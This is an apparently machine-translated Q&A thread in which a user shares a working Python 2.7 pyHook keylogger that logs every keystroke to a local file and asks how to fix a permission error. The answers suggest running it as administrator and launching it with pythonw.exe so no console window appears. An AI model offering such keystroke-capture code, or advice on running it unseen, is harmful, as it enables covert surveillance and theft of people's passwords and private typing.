2017-11-22 1 views
0

私はちょうどpython 2.7でkeyloggerを作ったが、うまくいきません。ここでキーロガーのコードは次のとおりです。Python 2.7 keylogger

import pyHook, pythoncom, sys, logging 

file_log = 'C:\keyloggeroutput.txt' 

def OnKeyboardEvent(event): 
    logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s') 
    print "You pressed: ", chr(event.Ascii) 
    logging.log(10,chr(event.Ascii)) 
    return True 
hooks_manager = pyHook.HookManager() 
hooks_manager.KeyDown = OnKeyboardEvent 
hooks_manager.HookKeyboard() 
pythoncom.PumpMessages() 

そして、これは私が取得エラーです:

Traceback (most recent call last): 
    File "C:\Python27\lib\site-packages\pyHook\HookManager.py", line 351, in KeyboardSwitch 
    return func(event) 
    File "<stdin>", line 2, in OnKeyboardEvent 
    File "C:\Python27\lib\logging\__init__.py", line 1547, in basicConfig 
    hdlr = FileHandler(filename, mode) 
    File "C:\Python27\lib\logging\__init__.py", line 913, in __init__ 
    StreamHandler.__init__(self, self._open()) 
    File "C:\Python27\lib\logging\__init__.py", line 943, in _open 
    stream = open(self.baseFilename, self.mode) 
IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt' 

私のpythonフォルダはここにある:

C:\Python27

は、どのように私はキーロガーを動作させることができますか?

+0

。 (詳細をご希望の場合は、詳細をご記入ください) –

+0

詳細は何ですか? – Linus

答えて

0

私は、LinuxでWindowsまたはルートからローカルの管理者権限でスクリプトを実行してみてください、あなたの文書に

IOError: [Errno 13] Permission denied: 'C:\\keyloggeroutput.txt' 
0

をファイルを作成することをお勧めしますトラインことができます。 Windowsでは、PowerShell/cmdシェルを管理者として開くことができます。 Linuxでは は、スクリプトでsudoコマンドを使用します。OPさんのコメントの後sudo python_script.py args

を: そうのような代わりにpython.exeのpythonw.exeして実行してみてください:それを修正

C:\Python27\pythonw.exe your_script.pyw 

The PYW file type is primarily associated with 'Python' by Python Software Foundation. PYW files are used in Windows to indicate a script needs to be run using PYTHONW.EXE instead of PYTHON.EXE in order to prevent a DOS console from popping up to display the output. This patch makes it possible to import such scripts, in case they're also usable as modules.

+0

adminとしてcmdに「python keylogger.pyw」を実行するとエラーが表示されます:ファイル "keylogger.pyw"、行13 pythoncom.PumpMessages() '012 ^ SyntaxError:無効な構文 – Linus

+0

それは与えませんでした私はエラーですが、keyloggeroutput.txtファイルが見つかりません – Linus